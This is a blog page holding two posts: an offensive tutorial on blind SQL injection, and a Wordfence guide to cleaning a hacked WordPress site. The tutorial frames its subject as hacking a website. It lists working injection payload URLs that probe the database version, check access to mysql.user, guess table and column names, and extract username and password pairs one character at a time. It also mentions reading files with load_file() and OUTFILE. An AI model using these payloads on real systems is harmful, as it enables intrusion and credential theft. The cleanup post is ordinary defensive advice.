Hiển thị các bài đăng có nhãn Website Security. Hiển thị tất cả bài đăng
Hiển thị các bài đăng có nhãn Website Security. Hiển thị tất cả bài đăng

What Is Blind SQL.......?

Người đăng: ngayvuidaxa on Thứ Bảy, 18 tháng 5, 2013

Blind SQL Injection

 Language: English
Platform: Windows Only
Must Read The Full Post Before Download & Install


Blind SQL Injection is used when a web application is vulnerable to an SQL injection but the results of the injection are not visible to the attacker. The page with the vulnerability may not be one that displays data but will display differently depending on the results of a logical statement injected into the legitimate SQL statement called for that page. This type of attack can become time-intensive because a new statement must be crafted for each bit recovered. There are several tools that can automate these attacks once the location of the vulnerability and the target information has been established

Read Below Tutorial Blind SQLi

Let’s Start…………

Suppose That You want to Hack This website with Blind SQLi http://site.com/index.php?id=5 when we execute this, we see some page and articles on that page, pictures etc…

After that when we want to test it for blind sql injection attack http://www.site.com/index.php?id=5 and 1=1 <--- this is always true and the page loads normally, that's ok.

Now the real test follow http://www.site.com/index.php?id=5and 1=2 <--- this is false
so if some text, picture or some content is missing on returned page then that site is vulnerable to blind sql injection.

  • 1) Get the MySQL version to get the version in blind attack we use substring i.e http://www.site.com/index.php?id=5 and substring(@@version,1,1)=4 this should return TRUE if the version of MySQL is 4. replace 4 with 5, and if query return TRUE then the version is 5. i.e. http://www.site.com/index.php?id=5 and substring(@@version,1,1)=5
  • 2) Test if subselect works when select don't work then we use subselect i.e http://www.site.com/index.php?id=5 and (select 1)=1 if page loads normally then subselects work. then we gonna see if we have access to mysql.user i.e http://www.site.com/index.php?id=5 and (select 1 from mysql.user limit 0,1)=1 if page loads normally we have access to mysql.user and then later we can Pull some password using load_file() function and OUTFILE.
  • 3). Check table and column names This is part when guessing is the best friend i.e. http://www.site.com/index.php?id=5 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.) then if the page loads normally without content missing, the table users exits. if you get FALSE (some article missing), just change table name until you guess the right one let's say that we have found that table name is users, now what we need is column name. the same as table name, we start guessing. Like i said before try the common names for columns. i.e http://www.site.com/index.php?id=5 and (select substring(concat(1, password),1,1) from users limit 0,1)=1 if the page loads normally we know that column name is password (if we get false then try common names or just guess) here we merge 1 with the column password, then substring returns the first character (,1,1)

  • 4). Pull data from database we found table users i columns username password so we gonna pull characters from that. http://www.site.com/index.php?id=5and ascii(substring((SELECT concat (username,0x3a,password) from users limit 0,1),1,1))>80 ok this here pulls the first character from first user in table users. substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value and then compare it with simbol greater then > . so if the ascii char greater then 80, the page loads normally. (TRUE) we keep trying until we get false. http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat (username,0x3a,password) from users limit 0,1),1,1))>95 we get TRUE, keep incrementing http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat (username,0x3a,password) from users limit 0,1),1,1))>98 TRUE again, higher http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat (username,0x3a,password) from users limit 0,1),1,1))>99 FALSE!!! so the first character in username is char(99). Using the ascii converter we know that char(99) is letter 'c'. then let's check the second character. http://www.site.com/index.php?id=5and ascii(substring((SELECT concat (username,0x3a,password) from users limit 0,1),2,1))>99 Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in lenght) http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat (username,0x3a,password) from users limit 0,1),1,1))>99 TRUE, the page loads normally, higher. http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat (username,0x3a,password) from users limit 0,1),1,1))>107 FALSE, lower number. http://www.site.com/index.php?id=5and ascii(substring((SELECT concat (username,0x3a,password) from users limit 0,1),1,1))>104 TRUE, higher. http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat (username,0x3a,password) from users limit 0,1),1,1))>105 FALSE!!! we know that the second character is char(105) and that is 'i'. We have 'ci' so far so keep incrementing until you get the end. (when >0 returns false we know that we have reach the end). There are some tools for Blind SQL Injection, i think sqlmap is the best, but i'm doing everything manually, cause that makes you better SQL INJECTOR

Hope you learned something from this Tutorial. Have FUN!

Written By Tense Boy Shimul
More about

How to clean a hacked WordPress site using Wordfence Security

Người đăng: ngayvuidaxa on Thứ Ba, 26 tháng 2, 2013

Wordfence-Security


If your site has been hacked, Don’t Panic.

You can use Wordfence to clean much of the malicious code from your site. Wordfence lets you compare your hacked files against the original WordPress core files, and the original copies of WordPress themes and plugins in the repository. Wordfence lets you see what has changed (do a diff) and gives you the option to repair files with one click and take other actions.

How to clean your hacked WordPress site using Wordfence:
  1. Upgrade your site to the newest version of WordPress.

  2. Upgrade all your themes and plugins to their newest versions.

  3. Change all passwords on the site.

  4. Backup all your files and the database.

  5. Go to the Wordfence options page and make sure the options to scan core, theme and plugin files are selected. Then run a Wordfence scan. This compares your core, theme and plugin files against the original versions in the WordPress repository and lets you know how a hacker has changed them.

  6. When the results come up you may see a very long list of infected files. Take your time and slowly work through the list.

  7. Examine any suspicious files and delete them if they are dangerous. Remember that you can’t undo deletions.

  8. Look at any changed core, theme and plugin files. Use the option Wordfence provides to see what has changed between the original file and your file. If the changes look malicious, use the Wordfence option to repair the file.

  9. Look at any unknown files that are in core directories and delete them if necessary.

  10. Slowly work your way through the list until it is empty.

  11. Run another scan and confirm your site is clean.

  12. If you are still getting an alert from another product or from Google that says your site has a problem, please contact us via our support forum and we’ll take a look.
I have a file that looks suspicious, but I am not sure if it is. How can I tell?

Email it to us at samples@wordfence.com and we’ll let you know. If you don’t receive a reply, either your mail system or ours may have discarded the message thinking it was malicious because of your attachment. So please email us a message without the attachment letting us now that you’re trying to send us something and we’ll try to help get it through.

I have cleaned my hacked Wordpress site but Google Chrome is still giving me the malware warning. What should I do?

You need to get your site removed from the Google Safe Browsing list. Read this Google document on how to clean your site. Here are the steps:

  1. First sign-in to Google Webmaster Tools.

  2. Add your site if you haven’t already.

  3. Verify your site. Installing the Google Site Verification Plugin may help with this.

  4. On the Webmaster Tools home page, select your site.

  5. Click Site status, and then click Malware.

  6. Click Request a review.

My site visitors are getting warnings from other security products and anti-virus system. What should I do?

Getting off the Google Safe Browsing list is a big step, but you may have some work ahead of you. You need to keep a list of every anti-virus product that is saying your site is infected. This may include products like ESET anti-virus, McAfee’s Site Advisor and others. Visit each anti-virus maker’s website and find their instructions for removing your site from their list of dangerous sites. This is often called “whitelisting” by anti-virus makers, so Googling for terms like ‘whitelisting’, ‘site removal’, ‘false positive’ and the product name will usually lead you to the place where you can get your site removed.


How can I manually check if my site is listed on Google’s Safe Browsing List?

Visit the following URL and replace example.com with your own site address.

http://www.google.com/safebrowsing/diagnostic?site=http://example.com/

You can include a sub-directory if your site has one. The page that appears is very plain, but contains detailed information about the current status of your site, why it is listed on Google’s malware or phishing list (The google safe browsing list is actually two lists) and what to do next.
More about